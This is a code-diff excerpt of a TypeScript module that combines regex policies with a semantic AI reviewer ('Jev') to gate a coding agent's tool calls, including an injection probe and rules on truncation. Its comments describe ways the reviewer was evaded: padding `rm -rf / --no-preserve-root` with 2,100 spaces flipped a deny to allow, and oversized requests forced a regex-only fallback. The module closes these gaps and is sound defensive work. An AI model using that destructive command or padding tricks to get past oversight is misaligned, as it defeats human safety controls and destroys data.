+ * Pasting a spec or a stack trace is not an attack, the human's turn is not a
162
+ * channel the agent can write, and consent read out of it is checked locally
163
+ * against the UNCUT text (see `Envelope.evidence`), so there is nothing here
164
+ * for a cut to protect.
165
+ *
166
+ * What the clearing gate claims, exactly. The envelope keeps a BOUNDED window
167
+ * by design — the last `MAX_USER_MESSAGES` human turns — and dropping older
168
+ * turns does not set `truncated`. So a clear rests on a complete view of what
169
+ * was SENT, not on the whole session: an instruction from twenty turns ago is
170
+ * not in the picture, and the tier is not a record of consent over a session.
171
+ *
172
+ * The local `targetNamedByUser` check reads `Envelope.evidence`, which is that
173
+ * window and nothing wider — a turn Jev never saw cannot supply the consent
174
+ * for an `op-requested` override (it could, and flipped a reviewable deny to
175
+ * allow). The two channels differ inside the window,
176
+ * deliberately, and the guarantee is per channel rather than per character:
177
+ * - `user_said` is reported UNCUT. A target named in the cut middle of a
178
+ * long prompt is consent the human typed, and treating it as absent turned
179
+ * explicit requests into instructs and denies.
180
+ * - `agent_last_message` is reported as SENT, capped and redacted. The agent
181
+ * writes that channel and it repeats third-party text, so consent found
182
+ * only in a part of it Jev never read is exactly the subtraction this
183
+ * design refuses everywhere else.
184
+ *
185
+ * "Uncut" there means uncut by the ENVELOPE, and there is one cut it cannot
186
+ * undo: T4's intent store caps a prompt as it READS it (`intent.ts`), so a
187
+ * 12,000-character prompt arrives already head-and-tail cut and its middle is
188
+ * not recoverable by anyone. Run over that, the local substring check read
189
+ * "the user did not name it" off a string that could not have contained it —
190
+ * the same subtraction one channel further out, and the same symptom: the
191
+ * length of the human's paste decided the verdict. So a human turn that
192
+ * arrived cut makes the local check INCONCLUSIVE rather than negative
193
+ * (`PreparedCall.userSaidCut`, `DecideV1Options.userSaidCut`), and the
194
+ * override rests on what it rests on when a call names no identifiable target
195
+ * at all — Jev's own `op_requested` and `scope` answers. It can only restore a
196
+ * clear a short prompt would have kept, it is read from the human channel
197
+ * only, and `targetNamedByUser` still reports FALSE, because nothing in what
198
+ * we hold named the target; what changes is that "false" no longer decides.
199
+ *
200
+ * Severity, meanwhile, is never subtracted by a cut at all. §4's table files a
201
+ * truncated envelope under "fall back to the regex result", and reading that
202
+ * as "throw Jev's answer away" made padding a command past the envelope's
203
+ * per-field cap a working way to stop Jev's OWN deny applying (a real repro:
204
+ * `rm -rf / --no-preserve-root` + 2,100 spaces flipped deny → allow).
205
+ * Truncation is attacker-influenceable, so it may never subtract severity.
206
+ * What §4 asks for is still there — every regex deny counts, and the call is
207
+ * recorded as `jev-fallback` — the answer is just not thrown away on the way
208
+ * in.
209
+ *
210
+ * Size was the same class one step further out, and is no longer a case at
211
+ * all: a request over `MAX_REQUEST_CHARS` used to be
212
+ * `degraded("request-too-large")` — a `fallback`, no verdict, regex-only —
213
+ * which one ignored 70,000-character `file_path`, one long object KEY, or
214
+ * 36,000 empty strings in an array was enough to trigger. The envelope is now
215
+ * built inside a hard budget whose accounting charges what serialization
216
+ * really costs, and being over it is not a degrade at all: the request is sent
217
+ * with what fitted and arrives here `answered`, with `requestCut`.
218
+ *
219
+ * Structurally: a `fallback` review carries no `decision` at all, so a verdict
220
+ * Jev actually produced cannot be filed as one. If Jev decided, it comes
221
+ * through `answered` (possibly `requestCut`), and `answered` always reaches
222
+ * the most-severe merge.
223
+ *
224
+ * A clear is only as good as the check that the call is not acting on text
225
+ * planted by a repo, a tool result or the agent itself, so the injection probe
226
+ * is asked on EVERY call — including one with no recorded human message, where
227
+ * there is no consent to withdraw but there is still planted text to notice.
228
+ * `injectionAsked` false therefore means the request was never sent at all,
229
+ * and then there is nothing to clear anyway.
230
+ */
231
+ import type { PolicyAuthority } from "../policy-types";
232
+ // The only value imports, and deliberately from the activity vocabulary rather
233
+ // than local literals: the fallback reason this module writes itself has to
234
+ // be a code the activity store's closed list names, or it is stored and
235
+ // shipped as `other`, and a shadow verdict's model id has to pass the same
236
+ // shape check the row's own `jevModel` does. Importing them makes a rename a
237
+ // compile error here. `jev-activity.ts` is pure (no node imports, no semantic
238
+ // modules), so this costs the hook path nothing.
239
+ import { JEV_MODEL_RE, JEV_REASON_REQUEST_CUT } from "../jev-activity";
240
+
241
+ export type Decision = "allow" | "deny" | "instruct";
242
+ export type JevMode = "shadow" | "enforce";
243
+
244
+ /** One regex policy's verdict, in evaluation order. */
245
+ export interface RegexVerdict {
246
+ policyName: string;
247
+ decision: Decision;
248
+ /**
249
+ * deny / instruct: the reason exactly as it would be shown (hint appended).
250
+ * allow: the informational note, or null for a silent allow.
251
+ */
252
+ reason: string | null;
253
+ /** EFFECTIVE authority (see `effectiveAuthority`), never the declared one. */
254
+ authority: PolicyAuthority;
255
+ /** The semantic policies that must all be asked and none answer `deny`. Empty for `hard`. */
256
+ reviewedBy: readonly string[];
257
+ }
258
+
259
+ /** What Jev said, reduced to exactly what the combine rules read. */
260
+ export type JevReview =
261
+ | {
262
+ /** Aborted because a hard deny already decided; Jev's answer was never read. */
263
+ kind: "not-consulted";
264
+ }
265
+ | {
266
+ /**
267
+ * Jev produced no verdict: degraded (timeout, 429, HTTP/parse error,
268
+ * model mismatch, no transport, a config that cannot be built, …).
269
+ *
270
+ * Deliberately carries NO `decision`. A verdict Jev did produce must not
271
+ * be droppable on the way into the combine — that is how padding a
272
+ * command used to make Jev's own deny disappear — so anything Jev
273
+ * decided comes through `answered`, whose severity is always merged.
274
+ */
275
+ kind: "fallback";
276
+ reason: string;
277
+ latencyMs: number | null;
278
+ model: string | null;
279
+ }
280
+ | {
281
+ kind: "answered";
282
+ decision: Decision;
283
+ reason: string | null;
284
+ /** Attribution for Jev's own deny/instruct, e.g. `semantic/destructive-deletion`. */
285
+ policyName: string;
286
+ /** The pack that declared `policyName`'s check, when a pack did. */
287
+ origin?: { packId: string; packVersion?: string };
288
+ /** Semantic policies whose questions were in the request that was answered. */
289
+ asked: readonly string[];
290
+ /**
291
+ * Of `asked`, the ones whose answer lets a reviewable regex verdict be
292
+ * cleared: `none`, `overridden`, or a deny the human's task softened to
293
+ * an instruct. Neither a `deny` nor a warning nobody consented to is in
294
+ * it; see "A check that fired without consent keeps the floor" above.
295
+ */
296
+ notDenied: readonly string[];
297
+ /**
298
+ * The injection probe was in the request and answered. False → no clear:
299
+ * an unmeasured injection is not an absent one.
300
+ */
301
+ injectionAsked: boolean;
302
+ /** The injection probe held: every clear is withdrawn. */
303
+ injected: boolean;
304
+ /**
305
+ * A deny-mode check fired at WARNING level and no consent softened it:
306
+ * every clear is withdrawn. See "A check that fired without consent
307
+ * keeps the floor" above. Absent reads as false.
308
+ */
309
+ unclearableWarned?: boolean;
310
+ /**
311
+ * Something did not fit: a human turn, the agent's last message, or what
312
+ * the intent store had already capped (`SemanticOutcome.truncated`).
313
+ *
314
+ * READ BY NOTHING HERE, on purpose — see "What a cut MESSAGE does"
315
+ * above. It stays on the review so the verdict log and a future
316
+ * diagnostic can see it, and so that the field's absence is not mistaken
317
+ * for the cut's absence.
318
+ */
319
+ truncated: boolean;
320
+ /**
321
+ * Part of what the CALL DOES was cut: the tool input did not fit the
322
+ * envelope's request budget, a redaction removed a span of it that could
323
+ * have been executable, or a computed fact about it was dropped
324
+ * (`SemanticOutcome.requestCut`). Implies `truncated`.
325
+ *
326
+ * Withdraws every clear — a clear resting on a call half of which was
327
+ * never read is not a clear — and nothing else: the decision below still
328
+ * joins the most-severe rule, so padding cannot subtract severity, and
329
+ * it cannot add a refusal of our own either. Recorded as `jev-fallback`
330
+ * / `request-cut`.
331
+ */
332
+ requestCut: boolean;
333
+ /**
334
+ * Null when nothing had to be sent (no semantic policy applied), or when
335
+ * the answer came from the throttle's cache: a hit's ~0 ms is not a
336
+ * provider latency.
337
+ */
338
+ latencyMs: number | null;
339
+ model: string | null;
340
+ };
341
+
342
+ /**
343
+ * What `evaluatePolicies` receives when the two-tier path is on: an in-flight
344
+ * Jev review (started before the regex policies run) and how to read each
345
+ * registered policy's effective authority. Built by `jev-review.ts`.
346
+ */
347
+ export interface TwoTierReview {
348
+ mode: JevMode;
349
+ /** Resolves once Jev answered, failed, or was aborted. Never rejects. */
350
+ review: Promise<JevReview>;
351
+ /** Abort the in-flight request (a hard deny decided). No-op once settled. */
352
+ abort(): void;
353
+ /**
354
+ * Called once, right before the evaluator awaits `review` — by then every
355
+ * read of the process-global policy registry for this call is done. The
356
+ * daemon's warm worker serializes requests around that registry, and uses
357
+ * this to let the next queued request run while this one waits on the
358
+ * network instead of holding every hook on the machine behind it.
359
+ */
360
+ releaseRegistry?: () => void;
361
+ /** Effective authority + the reviewing semantic policies (empty unless reviewable). */
362
+ authorityOf(p: { name: string; authority?: PolicyAuthority; reviewedBy?: string[] }): {
363
+ authority: PolicyAuthority;
364
+ reviewedBy: string[];
365
+ };
366
+ }
367
+
368
+ export interface FinalVerdict {
369
+ decision: Decision;
370
+ /** deny: exactly the one decider; instruct: every instruct; allow: every note. */
371
+ entries: Array<{ policyName: string; reason: string }>;
372
+ }
373
+
374
+ /** The hook-activity fields (§7 contract) for one two-tier evaluation. */
375
+ export interface JevActivityFields {
376
+ evaluator: "jev" | "jev-fallback";
377
+ jevDecision?: Decision;
378
+ jevCleared?: string[];
379
+ jevFallbackReason?: string;
380
+ jevLatencyMs?: number;
381
+ jevModel?: string;
382
+ jevMode: JevMode;
383
+ }
384
+
385
+ /**
386
+ * Jev's own deny or instruct in SHADOW mode — the verdict enforce mode would
387
+ * have applied, recorded rather than applied. The handler files it in the
388
+ * activity row's `observed` list, the "would have" record observe-mode cloud
389
+ * and pack policies already use, so FailproofAI Cloud's policy page counts it
390
+ * with no change on its side.
391
+ */
392
+ export interface ShadowVerdict {
393
+ /** `semantic/<check>` — the name enforce mode would have attributed it to. */
394
+ policyName: string;
395
+ decision: "deny" | "instruct";
396
+ /** The same fixed template reason enforce mode would have shown. */
397
+ reason: string;
398
+ /** The Jev model id that answered, or `jev` when it named none this build can store. */
399
+ version: string;
400
+ }
401
+
402
+ export interface CombineOutcome {
403
+ final: FinalVerdict;
404
+ /** Reviewable regex policies Jev cleared (in shadow: would have cleared). */
405
+ cleared: string[];
406
+ /**
407
+ * True when the first entry of `final` came from THIS TIER rather than from
408
+ * a registered policy — today that means Jev's own verdict.
409
+ *
410
+ * `handler.ts` reads it to decide whether to attribute the decision to a
411
+ * registered policy — a name it cannot find in the registry is reported as a
412
+ * builtin, so a name that never was one must say so here.
413
+ */
414
+ decidedByJev: boolean;
415
+ activity: JevActivityFields;
416
+ /**
417
+ * Shadow mode only, and only when Jev's own verdict was deny or instruct.
418
+ * Absent otherwise — including every enforce outcome, where the verdict was
419
+ * APPLIED and `decidedByJev` / the final entries already say so.
420
+ */
421
+ shadowVerdict?: ShadowVerdict;
422
+ }
423
+
424
+ /**
425
+ * The regex engine's answer on its own — exactly what `evaluatePolicies`
426
+ * returned before two tiers existed: the first deny in evaluation order wins;
427
+ * otherwise every instruct, joined; otherwise every allow that carried a note.
428
+ */
429
+ export function regexOnly(verdicts: readonly RegexVerdict[]): FinalVerdict {
430
+ const deny = verdicts.find((v) => v.decision === "deny");
431
+ if (deny) return { decision: "deny", entries: [{ policyName: deny.policyName, reason: deny.reason ?? "" }] };
432
+ const instructs = verdicts.filter((v) => v.decision === "instruct");
433
+ if (instructs.length > 0) {
434
+ return { decision: "instruct", entries: instructs.map((v) => ({ policyName: v.policyName, reason: v.reason ?? "" })) };
435
+ }
436
+ return {
437
+ decision: "allow",
438
+ entries: verdicts
439
+ .filter((v) => v.decision === "allow" && v.reason)
440
+ .map((v) => ({ policyName: v.policyName, reason: v.reason as string })),
441
+ };
442
+ }
443
+
444
+ /**
445
+ * Whether Jev's answer clears this regex verdict.
446
+ *
447
+ * The rule, exactly: a REVIEWABLE deny or instruct that names at least one
448
+ * reviewer is cleared when EVERY name in its `reviewedBy` was ASKED on this
449
+ * call AND is in `notDenied` (see "A check that fired without consent keeps
450
+ * the floor" above). A name that was never asked blocks the clear, whatever
451
+ * the others said, because an unasked question has no answer to read. A
452
+ * `hard` verdict and a reviewable one naming nobody are never cleared at all.
453
+ */
454
+ function clears(v: RegexVerdict, asked: ReadonlySet<string>, notDenied: ReadonlySet<string>): boolean {
455
+ if (v.decision === "allow" || v.authority !== "reviewable") return false;
456
+ if (v.reviewedBy.length === 0) return false;
457
+ return v.reviewedBy.every((name) => asked.has(name) && notDenied.has(name));
458
+ }
459
+
460
+ export function combineTwoTier(
461
+ verdicts: readonly RegexVerdict[],
462
+ review: JevReview,
463
+ mode: JevMode,
464
+ ): CombineOutcome {
465
+ const legacy = regexOnly(verdicts);
466
+
467
+ if (review.kind === "not-consulted") {
468
+ // A hard deny decided. Nothing was asked, so nothing is cleared, and the
469
+ // regex result is final — byte for byte what the regex engine says alone.
470
+ return { final: legacy, cleared: [], decidedByJev: false, activity: { evaluator: "jev", jevMode: mode } };
471
+ }
472
+
473
+ if (review.kind === "fallback") {
474
+ return {
475
+ final: legacy,
476
+ cleared: [],
477
+ decidedByJev: false,
478
+ activity: {
479
+ evaluator: "jev-fallback",
480
+ jevFallbackReason: review.reason,
481
+ ...(review.latencyMs !== null ? { jevLatencyMs: review.latencyMs } : {}),
482
+ ...(review.model ? { jevModel: review.model } : {}),
483
+ jevMode: mode,
484
+ },
485
+ };
486
+ }
487
+
488
+ // The one gate on clearing. Every reason Jev's picture of the CALL is
489
+ // partial lives here and here only, so the next one added cannot
490
+ // accidentally take Jev's own severity with it (see "One rule about a
491
+ // partial picture" above). `truncated` is deliberately not among them: see
492
+ // "What a cut MESSAGE does".
493
+ const wholePicture = review.injectionAsked && !review.injected && !review.requestCut;
494
+ const asked = new Set(review.asked);
495
+ const notDenied = new Set(review.notDenied);
496
+ const cleared = wholePicture && !review.unclearableWarned ? verdicts.filter((v) => clears(v, asked, notDenied)).map((v) => v.policyName) : [];
497
+
498
+ // Built once, for both modes: enforce applies it, shadow records it, and the
499
+ // two must never disagree about what the verdict WAS.
500
+ const jevEntry = { policyName: review.policyName, reason: review.reason ?? `Flagged by semantic review (${review.policyName})` };
501
+ const enforced = resolveEnforce(verdicts, cleared, review.decision, jevEntry);
502
+
503
+ const activity: JevActivityFields = {
504
+ // §4 records a call the tier could not read whole as a fallback, and so do
505
+ // we — its clearing half really was off. The decision below is still
506
+ // applied (upward only), so `jev-fallback` + `request-cut` means "Jev
507
+ // cleared nothing", while every other reason means "Jev never answered".
508
+ // A cut MESSAGE is not a fallback: nothing about the call was missing and
509
+ // nothing was withheld, so reporting one would only inflate the rate.
510
+ evaluator: review.requestCut ? "jev-fallback" : "jev",
511
+ ...(review.requestCut ? { jevFallbackReason: JEV_REASON_REQUEST_CUT } : {}),
512
+ jevDecision: review.decision,
513
+ // Only a clear that SOFTENED the call (in shadow: would have). One that
514
+ // Jev's own deny, or another regex deny, still decided over changed
515
+ // nothing — and `jev status` and the policy page's "Cleared by Jev" both
516
+ // read `jevCleared` as calls Jev let through.
517
+ ...(cleared.length > 0 && RANK[enforced.final.decision] < RANK[legacy.decision] ? { jevCleared: cleared } : {}),
518
+ ...(review.latencyMs !== null ? { jevLatencyMs: review.latencyMs } : {}),
519
+ ...(review.model ? { jevModel: review.model } : {}),
520
+ jevMode: mode,
521
+ };
522
+
523
+ if (mode === "shadow") {
524
+ // Jev's own deny or instruct, exactly as enforce mode would have applied it
525
+ // (upward only: a cut or injected call keeps it, as the enforce branch
526
+ // below does). A clear is recorded in `jevCleared`, not here.
527
+ const shadowVerdict: ShadowVerdict | undefined =
528
+ review.decision === "deny" || review.decision === "instruct"
529
+ ? {
530
+ policyName: jevEntry.policyName,
531
+ decision: review.decision,
532
+ reason: jevEntry.reason,
533
+ // The model id is shape-checked like the row's own `jevModel`, so
534
+ // this list can carry nothing the activity store would not.
535
+ version: review.model && JEV_MODEL_RE.test(review.model) ? review.model : "jev",
536
+ }
537
+ : undefined;
538
+ return { final: legacy, cleared, decidedByJev: false, activity, ...(shadowVerdict ? { shadowVerdict } : {}) };
539
+ }
540
+
541
+ return { ...enforced, cleared, activity };
542
+ }
543
+
544
+ const RANK: Record<Decision, number> = { allow: 0, instruct: 1, deny: 2 };
545
+
546
+ /** Enforce mode's verdict once `cleared` are removed: the most severe wins. */
547
+ function resolveEnforce(
548
+ verdicts: readonly RegexVerdict[],
549
+ cleared: readonly string[],
550
+ decision: Decision,
551
+ jevEntry: { policyName: string; reason: string },
552
+ ): Pick<CombineOutcome, "final" | "decidedByJev"> {
553
+ const clearedSet = new Set(cleared);
554
+ const remaining = verdicts.filter((v) => !clearedSet.has(v.policyName));
555
+
556
+ // Most severe wins; within a severity, the regex engine's own order first.
557
+ const regexDeny = remaining.find((v) => v.decision === "deny");
558
+ if (regexDeny) {
559
+ return {
560
+ final: { decision: "deny", entries: [{ policyName: regexDeny.policyName, reason: regexDeny.reason ?? "" }] },
561
+ decidedByJev: false,
562
+ };
563
+ }
564
+ if (decision === "deny") {
565
+ return { final: { decision: "deny", entries: [jevEntry] }, decidedByJev: true };
566
+ }
567
+ // A call part of which was not shown to Jev stops HERE and no further: it
568
+ // cleared nothing (`wholePicture` above), so every regex verdict still
569
+ // stands and Jev's own deny already decided if there was one. There is
570
+ // deliberately no third outcome — no refusal of this module's own — because
571
+ // a deny nobody's policy asked for, fired by size on work nobody objected
572
+ // to, costs more than it protects. See "What size may NOT do" above.
573
+ const instructs = remaining
574
+ .filter((v) => v.decision === "instruct")
575
+ .map((v) => ({ policyName: v.policyName, reason: v.reason ?? "" }));
576
+ if (decision === "instruct") instructs.push(jevEntry);
577
+ if (instructs.length > 0) {
578
+ return { final: { decision: "instruct", entries: instructs }, decidedByJev: instructs[0] === jevEntry };
579
+ }
580
+ return { final: regexOnly(remaining), decidedByJev: false };
581
+ }